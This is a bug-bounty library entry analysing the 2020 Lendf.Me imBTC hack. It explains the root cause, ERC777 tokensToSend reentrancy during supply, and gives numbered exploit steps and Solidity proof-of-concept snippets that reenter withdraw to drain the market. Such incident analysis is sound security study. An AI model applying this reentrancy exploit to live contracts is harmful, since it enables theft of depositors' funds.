# Lendf.Me: ERC777 reentrancy drains imBTC market

Lendf.Me's imBTC market was drained via ERC777 tokensToSend reentrancy during supply, letting the attacker withdraw all collateral repeatedly.

- Payout: Real-world hack
- Severity: critical
- Program: LendfMe
- Analysis by: DeFiHackLabs
- Disclosed: 2020-04-19
- Write-up quality: 7/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-04/LendfMe_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20200419-lendfme
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained vuln:reentrancy

**Target:** Lendf.Me money market contract (imBTC supply/withdraw)
**Root cause:** The money market updated internal balances after calling the ERC777 token's transfer hook, so a reentrant withdraw during supply saw stale collateral accounting and could drain funds.
**Steps:**
1. Register this contract as the ERC1820 TOKENS_SENDER_INTERFACE_HASH implementer so imBTC transfers invoke `tokensToSend`.
2. Approve the victim money market to spend imBTC and fund the exploit contract with imBTC.
3. Call `supply(imBTC, balance-1)` then `supply(imBTC, 1)`; the 1-wei transfer triggers `tokensToSend` with `amount == 1`.
4. Inside `tokensToSend`, call `withdraw(imBTC, type(uint256).max)` before the supply accounting settles, draining the victim's imBTC.
5. Transfer the drained imBTC back to the attacker.
**How found:** Recognized that imBTC is an ERC777 token whose transfer hooks execute mid-supply, and that Lendf.Me's accounting was not reentrancy-safe, enabling a withdraw before balance update.
**Exploitation:** Attacker supplied imBTC to Lendf.Me; the ERC777 sender hook fired on a 1-wei supply, reentering withdraw with max amount while the contract still credited the deposit, extracting the market's imBTC balance.
**Insight:** When a lending market accepts ERC777/ERC677/hook-bearing tokens, check whether supply/repay state is committed before the token transfer callback; a 1-wei transfer is enough to trigger the hook and reenter withdraw.

## Proof of concept (copied exactly from the original report)

**Foundry PoC of ERC777 reentrancy drain**

```
function tokensToSend(
        address, // operator
        address, // from
        address, // to
        uint256 amount,
        bytes calldata, // userData
        bytes calldata // operatorData
    ) external {
        if (amount == 1) {
            IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
        }
    }
```

**Attack sequence: supply then reentrant withdraw**

```
IMoneyMarket(victim).supply(address(imBTC), this_balance - 1);
        IMoneyMarket(victim).supply(address(imBTC), 1);
        IMoneyMarket(victim).withdraw(address(imBTC), type(uint256).max);
```

**Register ERC777 sender hook via ERC1820**

```
imBTC.approve(victim, type(uint256).max);
        erc1820.setInterfaceImplementer(address(this), TOKENS_SENDER_INTERFACE_HASH, address(this));
```

